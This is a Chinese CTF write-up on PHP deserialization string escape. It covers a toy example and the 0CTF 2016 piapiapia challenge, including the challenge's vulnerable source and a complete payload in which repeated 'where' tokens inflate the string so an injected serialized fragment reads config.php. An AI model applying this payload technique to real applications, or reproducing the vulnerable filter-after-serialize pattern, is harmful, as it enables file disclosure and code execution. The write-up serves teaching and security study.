0x00 first

前几天joomla爆出个反序列化漏洞,原因是因为对序列化后的字符进行过滤,导致用户可控字符溢出,从而控制序列化内容,配合对象注入导致RCE。刚好今天刷CTF题时遇到了一个类似的场景,感觉很有意思,故有本文。

0x01 我打我自己之---序列化问题

关于序列化是什么就不再赘述了,这里主要讲几个跟安全相关的几个点。

看一个简单的序列化

<?php
$kk = "123";
$kk_seri = serialize($kk); //s:3:"123"; echo unserialize($kk_seri); //123 $not_kk_seri = 's:4:"123""'; echo unserialize($not_kk_seri); //123"

从上例可以看到,序列化后的字符串以"作为分隔符,但是注入"并没有导致后面的内容逃逸。这是因为反序列化时,反序列化引擎是根据长度来判断的。

也正是因为这一点,如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果。看一个例子

<?php

	$username = $_GET['username'];
$sign = "hi guys";
$user = array($username, $sign); $seri = bad_str(serialize($user)); echo $seri; // echo "<br>"; $user=unserialize($seri); echo $user[0];
echo "<br>";
echo "<br>";
echo $user[1]; function bad_str($string){
return preg_replace('/\'/', 'no', $string);
}

先对一个数组进行序列化,然后把结果传入bad_str()函数中进行安全过滤,将单引号转换成no,最后反序列化得到的结果并输出。看一下正常的输出:

用户ka1n4t的个性签名很友好。如果在用户名处加上单引号,则会被程序转义成no,由于长度错误导致反序列化时出错。

那么通过这个错误能干啥呢?我们可以改写可控处之后的所有字符,从而控制这个用户的个性签名。我们需要先把我们想注入的数据写好,然后再考虑长度溢出的问题。比如我们把他的个性签名改成no hi,长度为5,在本程序中序列化的结果应该是i:1;s:5:"no hi";,再跟前面的username的双引号以及后面的结束花括号闭合,变成";i:1;s:5:"no hi";}。见下图

我们要让'经过bad_str()函数转义成no之后多出来的长度刚好对齐到我们上面构造的payload。由于上面的payload长度是19,因此我们只要在payload前输入19个',经过bad_str()转义后刚好多出了19个字符。

尝试payload:ka1n4t'''''''''''''''''''";i:1;s:5:"no hi";}

成功注入序列化字符。前几天的joomla rce原理也正是如此。下面通过一道CTF来看一下实战场景。

0x02 [0CTF 2016] piapiapia

首页一个登录框,别的嘛都没有

www.zip源码泄露,可直接下载源码。

flag在config.php中

class.php是mysql数据库类,以及user model

<?php
require('config.php'); class user extends mysql{
private $table = 'users'; public function is_exists($username) {
$username = parent::filter($username); $where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password); $key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password); $where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username); $where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile); $where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
} class mysql {
private $link = null; public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'"); return $this->link;
} public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
} public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
} public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
} public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

profile.php用于展示个人信息

profile.php

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

register.php用于注册用户

register.php

<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>

update.php用于更新用户信息

update.php

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); $file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

通过观察上面的几个代码我们能发现以下几个线索

1.能读取config.php或获得参数$flag的值即可获得flag。

2.update.php 28行将用户更新信息序列化,然后传入$user->update_profile()存入数据库。

3.查看class.php中的update_profile()源码,发现底层先调用了filter()方法进行危险字符过滤,然后才存入数据库。

4.profile.php 16行取出用户的$profile['photo']作为文件名获取文件内容并展示。

5.update.php 26行可以看到$profile['photo']的值是'upload'.md5($file['name']),因此线索4中的文件名我们并不可控。

综合以上5点,再加上本文一开始的例子,思路基本已经出来了,程序将序列化之后的字符串进行过滤,导致用户可控部分溢出,从而控制后半段的序列化字符,最终控制$profile['photo']的值为config.php,即可获得flag。

这里关键就是class.php中的filter()方法,我们要找到能让原始字符‘膨胀’的转义。

	public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

仅从长度变化来看,只有where->hacker这一个转义是变长了的。回到update.php 28行,我们只要在nickname参数中输入若干个where拼上payload,经过filter()过滤后刚好让我们的payload溢出即可。

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));

有一点需要注意的是update.php对nickname进行了过滤,不能有除_外的特殊字符,我们只要传一个nickname[]数组即可。

下面构造payload,先看看正常的序列化表达式是什么

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

构造photo值为config.php,并与前后闭合序列化表达式,也就是取出上面kk1之后的所有字符

";}s:5:"photo";s:10:"config.php";}

长度为34,由于filter()是将where变为hacker,增加1位,我们需要增加34位,也就是34个where。payload变成这样

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

我们把这个作为nickname[]的值传入,然后序列化的结果应该是

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

经过filter()的转义变成

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

数一下位数,刚好。

下面发送payload作为nickname[]的值

更新成功,访问profile.php查看个人信息

成功拿到flag。

从一道ctf看php反序列化漏洞的应用场景的更多相关文章

  1. 7. 由一道ctf学习变量覆盖漏洞

    0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...

  2. php反序列化漏洞绕过魔术方法 __wakeup

    0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...

  3. [代码审计]四个实例递进php反序列化漏洞理解【转载】

    原作者:大方子 原文链接:https://blog.csdn.net/nzjdsds/article/details/82703639 0x01 索引 最近在总结php序列化相关的知识,看了好多前辈师 ...

  4. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  5. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  6. PHP反序列化漏洞总结(二)

    写在前边 之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑 前篇:https://www.cnblogs.com/Lee-404/p/12771032.htm ...

  7. PHP 反序列化漏洞入门学习笔记

    参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...

  8. php反序列化漏洞入门

    前言 这篇讲反序列化,可能不会很高深,我之前就被反序列化整懵逼了. 直到现在我对反序列化还是不够深入,今天就刚好可以研究研究. 0x01.反序列化漏洞介绍 序列化在内部没有漏洞,漏洞产生是应该程序在处 ...

  9. tp6.0.x 反序列化漏洞

    tp6 反序列化漏洞复现 环境 tp6.0 apache php7.3 漏洞分析 反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件 app/controller/Index ...

随机推荐

  1. 题解 洛谷P2833 【等式】

    运用暴力解方程吸氧过了这道题 通过数据范围看,要是枚举x和y只能炸掉三成的数据. 所以考虑枚举从x1到x2枚举x,通过方程移项可知y=-(ax+c)/b,再判断y是否在y1和y2之间即可. 本题本做法 ...

  2. Nginx使用GeoIP模块来限制地区访问

    举例比如限制泰国地区的IP访问: 前提条件,安装了http geoip 或stream geoip模块的Nginx Plus或者开源nginx Maxmind的GeoLite Legacy数据库 1. ...

  3. zookeeper的未授权访问漏洞解决

    zookeeper的基本情况 zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务.zookeeper官网下载软件包,bin目录下有客户端脚本和服务端脚本.另外还有个工具 ...

  4. Python批量删除mysql中千万级大量数据

    场景描述 线上mysql数据库里面有张表保存有每天的统计结果,每天有1千多万条,这是我们意想不到的,统计结果咋有这么多.运维找过来,磁盘占了200G,最后问了运营,可以只保留最近3天的,前面的数据,只 ...

  5. Go语言基础之基本数据类型

    Go语言中有丰富的数据类型,除了基本的整型.浮点型.布尔型.字符串外,还有数组.切片.结构体.函数.map.通道(channel)等.Go 语言的基本类型和其他语言大同小异. 基本数据类型 整型 整型 ...

  6. MultipartFile 获取上传TXT文件字数

    @ResponseBody @RequestMapping(value = "/addImgForDynamic")//(发布动态) public Map addImgForDyn ...

  7. jsp页面直接输出了html代码

    可能出现的情况: 1.修改web.xml中springMVC的过滤器路径如下: "/"与"/*区别" 其实/和/*都可以匹配所有的请求资源,但其匹配的优先顺序是 ...

  8. java架构之路-(源码)mybatis的一二级缓存问题

    上次博客我们说了mybatis的基本使用,我们还捎带提到一下Mapper.xml中的select标签的useCache属性,这个就是设置是否存入二级缓存的. 回到我们正题,经常使用mybatis的小伙 ...

  9. ImageView的功能和使用

    ImageView继承自View类,它的功能用于显示图片, 或者显示Drawable对象 xml属性: src和background区别 参考:http://hi.baidu.com/sunboy_2 ...

  10. 树莓派3安装openwrt

    1.在编译openwrt之前,需要先安装依赖包,命令如下: sudo apt-get install autoconf binutils bison bzip2 flex gawk gettext m ...